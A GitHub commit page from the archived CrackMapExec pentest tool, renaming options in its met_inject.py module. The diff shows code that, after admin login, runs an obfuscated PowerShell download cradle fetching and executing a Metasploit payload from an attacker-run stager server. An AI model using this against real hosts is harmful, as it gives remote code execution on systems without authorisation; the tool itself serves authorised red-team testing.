Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.

Commit ef934a7

Browse files
author
mpgn
committed
Rename options for module metasploit #357
1 parent fd912c0 commit ef934a7

File tree

1 file changed

+14
-15
lines changed

1 file changed

+14
-15
lines changed

cme/modules/met_inject.py

Lines changed: 14 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -14,32 +14,31 @@ class CMEModule:
1414

1515
def options(self, context, module_options):
1616
'''
17-
LHOST IP hosting the handler
18-
LPORT Handler port
19-
RAND Random string given by metasploit
20-
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
17+
SRVHOST IP hosting of the stager server
18+
SRVPORT Stager port
19+
RAND Random string given by metasploit
20+
SSL Stager server use https or http (default: https)
2121
'''
2222

23-
self.met_payload = 'reverse_https'
24-
self.procid = None
23+
self.met_ssl = 'https'
2524

26-
if not 'LHOST' in module_options or not 'LPORT' in module_options or not 'RAND' in module_options:
27-
context.log.error('LHOST and LPORT and RAND options are required!')
25+
if not 'SRVHOST' in module_options or not 'SRVPORT' in module_options or not 'RAND' in module_options:
26+
context.log.error('SRVHOST and SRVPORT and RAND options are required!')
2827
exit(1)
2928

30-
if 'PAYLOAD' in module_options:
31-
self.met_payload = module_options['PAYLOAD']
29+
if 'SSL' in module_options:
30+
self.met_ssl = module_options['SSL']
3231

33-
self.lhost = module_options['LHOST']
34-
self.lport = module_options['LPORT']
32+
self.srvhost = module_options['SRVHOST']
33+
self.srvport = module_options['SRVPORT']
3534
self.rand = module_options['RAND']
3635

3736
self.ps_script = obfs_ps_script('Invoke-MetasploitPayload/Invoke-MetasploitPayload.ps1')
3837

3938
def on_admin_login(self, context, connection):
40-
payload = """Invoke-MetasploitPayload {}://{}:{}/{}""".format('http' if self.met_payload == 'reverse_http' else 'https',
41-
self.lhost,
42-
self.lport,
39+
payload = """Invoke-MetasploitPayload {}://{}:{}/{}""".format('http' if self.met_ssl == 'http' else 'https',
40+
self.srvhost,
41+
self.srvport,
4342
self.rand)
4443
launcher = gen_ps_iex_cradle(context, 'Invoke-MetasploitPayload.ps1', payload, post_back=False)
4544
connection.ps_execute(launcher, force_ps32=True)

0 commit comments

Comments
 (0)